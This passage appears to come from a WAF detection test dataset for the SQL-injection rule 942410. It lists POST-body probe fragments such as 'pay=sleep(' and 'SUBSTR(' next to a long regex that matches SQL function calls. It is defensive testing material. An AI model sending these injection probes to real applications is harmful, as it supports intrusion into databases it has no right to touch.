"negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=sin (" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SIN(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=sleep(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SLEEP (" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=strcmp(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=substr(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SUBSTR(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=substring(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)